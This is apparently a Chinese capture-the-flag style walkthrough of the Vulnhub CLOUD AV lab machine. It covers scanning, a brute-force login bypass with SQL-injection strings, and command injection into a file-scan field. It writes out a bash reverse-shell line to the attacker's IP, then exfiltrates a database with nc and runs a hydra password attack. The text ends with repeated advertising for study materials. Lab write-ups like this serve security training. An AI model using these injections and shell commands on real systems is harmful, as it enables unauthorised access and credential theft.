Vulnhub靶机随笔-BOREDHACKERBLOG CLOUD AV

Vulnhub靶机

BOREDHACKERBLOG: CLOUD AV详解

攻击机Kali    IP:192.168.3.44

靶机       IP:未知   系统:未知

A.信息收集

扫描靶机存活性 确定IP地址

1.命令:arp-scan -l

扫描靶机开放端口及其服务版本信息

2.命令 nmap -A -p- -sV 靶机IP地址

3.两个开放端口,暂时不清楚什么漏洞,扫一下网站的后台子目录顺便访问网站继续搜集信息的同时msfconsole跑一下ssh弱口令

ssh弱口令:    无果

子目录:   console scan  200         login output 405

端口8080网站:

需要一个code 才能登录

Console子目录:

需要一个pin码 才能够访问,可能后续 我们拿到shell可以获取这个pin码 先放着

B.BurpSuit 截取流量 暴力破解

1.打开我们的burpsuit先生,并且开启监听,截取流量,并发送到Inturder

2.在Intruder模式给password的参数添加两个符号

3.这有两种思路

1)SQL注入

这里填入的是SQL注入万能密码

可以看到,有这么几个密码都是可以轻松绕过的

2)弱口令爆破

这里填入的是弱口令字典

密码为password

C.瑞士军刀

登陆成功后:   这是一个病毒扫描的云服务,需要填入对应的文件名,第一感觉就是命令注入,我们随便试一个 cat | id  或 cat & id

果不其然,直接上瑞士军刀吧 也可以用python的反弹shell代码,因为网站版本是python2.7,但是回显或有点慢,所以我选择瑞士军刀

命令: cat | echo ‘bash -i >& /dev/tcp/攻击机IP/攻击机开放port 0>&1’|bash

我用的命令: cat | echo ‘bash -i >& /dev/tcp/192.168.3.44/4444 0>&1’|bash

D.提权

1.查看当前目录文件

这有个database.sql 我们查看一下他的文件类型 发现是sqlite文件 这就很关键了很有可能里面有用户名和密码

简短做个补充:

SQLite是一个进程内的轻量级嵌入式数据库，它的数据库就是一个文件，实现了自给自足、无服务器、零配置的、事务性的SQL数据库引擎。它是一个零配置的数据库，这就体现出来SQLite与其他数据库的最大的区别：SQLite不需要在系统中配置，直接可以使用。且SQLite不是一个独立的进程，可以按应用程序需求进行静态或动态连接。SQLite可直接访问其存储文件。

将此文件 通过nc传到我们的攻击机上

运行sqlite3

命令:      .open data.sql      //打开数据库

.databse               //当前数据库名

.dump                  //查看当前数据库数据

得到四个疑似密码

接着 查看一下/etc/passwd文件里有哪几个用户可以登录

Root cloudav scanner

将用户名写入一个文件user.txt  将密码也写入一个文件password.txt 利用hydra进行爆破

最后

自我介绍一下，小编13年上海交大毕业，曾经在小公司待过，也去过华为、OPPO等大厂，18年进入阿里一直到现在。

深知大多数网络安全工程师，想要提升技能，往往是自己摸索成长，但自己不成体系的自学效果低效又漫长，而且极易碰到天花板技术停滞不前！

因此收集整理了一份《2024年网络安全全套学习资料》，初衷也很简单，就是希望能够帮助到想自学提升又不知道该从何学起的朋友。

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！

既有适合小白学习的零基础资料，也有适合3年以上经验的小伙伴深入学习提升的进阶课程，基本涵盖了95%以上网络安全知识点！真正的体系化！

如果你觉得这些内容对你有帮助，需要这份全套学习资料的朋友可以戳我获取！！

由于文件比较大，这里只是将部分目录截图出来，每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频，并且会持续更新！